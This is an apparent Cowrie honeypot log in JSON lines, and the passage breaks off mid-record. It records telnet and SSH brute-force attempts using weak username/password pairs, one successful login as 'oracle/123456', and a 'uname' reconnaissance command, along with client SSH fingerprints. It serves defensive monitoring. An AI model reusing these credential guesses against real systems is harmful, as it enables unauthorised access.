{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":38394,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad7fa70922cc","protocol":"telnet","message":"New connection: 206.189.71.75:38394 (159.203.135.109:23) [session: ad7fa70922cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:26.208704Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37778,"dst_ip":"159.203.135.109","dst_port":23,"session":"85f5e7dcd49f","protocol":"telnet","message":"New connection: 206.189.71.75:37778 (159.203.135.109:23) [session: 85f5e7dcd49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:26.641641Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54626,"dst_ip":"10.17.0.5","dst_port":22,"session":"875e74894621","protocol":"ssh","message":"New connection: 192.109.200.78:54626 (10.17.0.5:22) [session: 875e74894621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:27.168344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:27.173198Z","src_ip":"192.109.200.78","session":"875e74894621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:27.256916Z","src_ip":"192.109.200.78","session":"875e74894621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:27.507737Z","src_ip":"192.109.200.78","session":"875e74894621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:28.592079Z","src_ip":"192.109.200.78","session":"875e74894621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41266,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a1b9d5d75e0","protocol":"ssh","message":"New connection: 192.109.200.78:41266 (10.17.0.5:22) [session: 8a1b9d5d75e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:31.373592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:31.380641Z","src_ip":"192.109.200.78","session":"8a1b9d5d75e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:31.464221Z","src_ip":"192.109.200.78","session":"8a1b9d5d75e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:31.711799Z","src_ip":"192.109.200.78","session":"8a1b9d5d75e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.16493797302246,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:32.429718Z","src_ip":"206.189.71.75","session":"111daa1c76e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.21879553794861,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:32.488819Z","src_ip":"206.189.71.75","session":"9f237f2c03c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:32.797904Z","src_ip":"192.109.200.78","session":"8a1b9d5d75e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41272,"dst_ip":"10.17.0.5","dst_port":22,"session":"70e6468d859e","protocol":"ssh","message":"New connection: 192.109.200.78:41272 (10.17.0.5:22) [session: 70e6468d859e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:35.521073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:35.525875Z","src_ip":"192.109.200.78","session":"70e6468d859e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:35.612571Z","src_ip":"192.109.200.78","session":"70e6468d859e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:35.861240Z","src_ip":"192.109.200.78","session":"70e6468d859e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.59373950958252,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:35.878102Z","src_ip":"206.189.71.75","session":"7fc818d9d784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46446,"dst_ip":"159.203.135.109","dst_port":23,"session":"7711ee60c7cf","protocol":"telnet","message":"New connection: 206.189.71.75:46446 (159.203.135.109:23) [session: 7711ee60c7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:36.561513Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:36.948642Z","src_ip":"192.109.200.78","session":"70e6468d859e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.863725662231445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:37.146943Z","src_ip":"206.189.71.75","session":"b2f9486ccea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.5089647769928,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:38.982326Z","src_ip":"206.189.71.75","session":"7321b348bccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41462,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac9f24f761e1","protocol":"ssh","message":"New connection: 192.109.200.78:41462 (10.17.0.5:22) [session: ac9f24f761e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:39.690513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:39.695619Z","src_ip":"192.109.200.78","session":"ac9f24f761e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:39.779426Z","src_ip":"192.109.200.78","session":"ac9f24f761e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:40.045263Z","src_ip":"192.109.200.78","session":"ac9f24f761e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:40.249670Z","src_ip":"192.109.200.78","session":"ac9f24f761e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:40.252562Z","src_ip":"192.109.200.78","session":"ac9f24f761e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:40.339242Z","src_ip":"192.109.200.78","session":"ac9f24f761e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:40.343997Z","src_ip":"192.109.200.78","session":"ac9f24f761e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.167874574661255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:42.865885Z","src_ip":"206.189.71.75","session":"d8720092e7bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41472,"dst_ip":"10.17.0.5","dst_port":22,"session":"098541b1d7d2","protocol":"ssh","message":"New connection: 192.109.200.78:41472 (10.17.0.5:22) [session: 098541b1d7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:43.744058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:43.747590Z","src_ip":"192.109.200.78","session":"098541b1d7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:43.832749Z","src_ip":"192.109.200.78","session":"098541b1d7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.73671817779541,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:43.903530Z","src_ip":"206.189.71.75","session":"0c03167523e7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:44.091364Z","src_ip":"192.109.200.78","session":"098541b1d7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:45.177541Z","src_ip":"192.109.200.78","session":"098541b1d7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":55444,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa0cc50b212","protocol":"telnet","message":"New connection: 206.189.71.75:55444 (159.203.135.109:23) [session: 9fa0cc50b212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:45.344543Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":57752,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b8502c65a8d","protocol":"telnet","message":"New connection: 206.189.71.75:57752 (159.203.135.109:23) [session: 7b8502c65a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:47.836186Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41480,"dst_ip":"10.17.0.5","dst_port":22,"session":"f737a9cef6e2","protocol":"ssh","message":"New connection: 192.109.200.78:41480 (10.17.0.5:22) [session: f737a9cef6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:48.002610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:48.007649Z","src_ip":"192.109.200.78","session":"f737a9cef6e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:48.092379Z","src_ip":"192.109.200.78","session":"f737a9cef6e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:48.352242Z","src_ip":"192.109.200.78","session":"f737a9cef6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.153242349624634,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.086185Z","src_ip":"206.189.71.75","session":"1e1378749483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.437002Z","src_ip":"192.109.200.78","session":"f737a9cef6e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58380,"dst_ip":"159.203.135.109","dst_port":22,"session":"afef0bc2f818","protocol":"ssh","message":"New connection: 159.203.92.129:58380 (159.203.135.109:22) [session: afef0bc2f818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.557005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:49.564924Z","src_ip":"159.203.92.129","session":"afef0bc2f818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-s